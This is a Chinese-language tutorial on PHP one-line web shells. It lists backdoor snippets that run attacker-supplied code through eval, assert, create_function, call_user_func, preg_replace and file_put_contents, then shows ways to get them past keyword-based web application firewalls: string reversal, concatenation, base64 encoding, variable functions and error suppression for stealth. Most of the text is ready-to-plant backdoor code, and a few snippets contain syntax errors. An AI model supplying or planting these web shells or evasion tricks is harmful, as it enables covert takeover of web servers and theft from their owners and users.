PHP一句话
一句话木马原理
<?php @eval($_POST['hack']);?>
是一句话后面中最经典的一种,,其原理是:通过 POST
、GET
、COOKIE
三种方式获取参数 hack
的值,通过 eval()
函数执行 hack
中的PHP代码,这样就能通过一句话木马在网站执行传递过去的任意PHP语句。
经典一句话木马大多只有两个部分:可执行函数部分和接收数据部分
例
<?php
@eval($_POST['a']);
?>
http://test.local/post.php
>> 浏览器插件 HackBar
>> Enable POST
>> a=phpinfo();
<?php
@eval($_GET['test']);
?>
http://test.local/get.php?test=phpinfo();
其他函数
assert
<?php @assert($_POST['shell']);?>
create_function
<?php
$fun = @create_function('',$_POST['shell']);
@$fun();
?>
call_user_func
回调函数
<?php @call_user_func(assert,$_POST['shell']);?>
call_user_func
函数的第一个参数调用其他函数,第二个参数为该调用函数传参。一些被waf拦截的的可配合这个函数绕过waf。
preg_replace
<?php
@preg_replace("/abcde/e",$_POST['shell'],"abcdefg");
?>
该函数利作用是使用正则表达式替换符合条件的字符串,但该函数可执行命令。函数的第一个参数是正则表达式,按照 PHP 的格式,表达式在/
间,若在/
末尾加 e
,这个函数的第二个参数就会被当作代码执行。
file_put_contents
<?php
$test=<?php $a=$_POST['shell'];assert($a)?>;
@file_put_contents("Biu.php,$test")
?>
利用函数生成木马文件,第一个参数是文件名,第二个参数是文件内容
一句话木马绕过waf
WAF (Web 应用防火墙)用于保护 Web 应用不被各类应用层攻击,如跨站脚本(XSS)、SQL注入、cookie中毒等,通常以关键字判断是否为一句话木马。
本节仅是绕过一些基础的关键字查杀 WAF,更多免杀请产考:免杀/一句话木马(PHP)
变量函数
变量函数(可变函数) : 变量名后有圆括号,PHP将寻找与变量的值同名的函数,并尝试执行。即使用变量作为函数名的函数
注意: eval是一个语言构造器而不是一个函数,不能被变量函数调用。
<?php
$test="assert";
@$test($_POST['shell']);
?>
有时需要使用大小写混淆、字符串拼接、字符串逆序等变化达到绕过
<?php
$a="TR"."Es"."sA";
$b=strtolower($a);
$c=strrev($b)
@$c($_POST['shell']);
?>
可变变量
eval不可用,与可变函数同理
<?php
$bb="assert";
$a= "bb";
@$$a($_POST['shell']);
?>
$$a = ${$a} = ${'bb'} = $bb = "assert"
str_replace
函数
<?php
$a=str_replace("Hell","","assHellert");
@$a($_POST['shell']);
?>
在第三个参数中查找第一个参数,并将其替换为第二个参数,这里第二个参数为空字符串,相应删除 Hell
base64_decode
函数
<?php
$a=base64_decode("YXNzZXJ0");
@$a($_POST['shell']);
?>
YXNzZXJ0
是 assert
的base64编码
parse_str
函数
parse_str("a=assert");
@$a($_POST['a']);
生成变量 a
并赋值 assert
自定义函数
<?php
function fun($a){@eval($a)};
@fun($_POST['shell']);
?>
使用自定义函数调用eval
...
通常都是使用多个组合才能达到绕过 WAF 的目的。
在函数前加 @
符,可让php语句不显示错误信息,加强隐蔽性。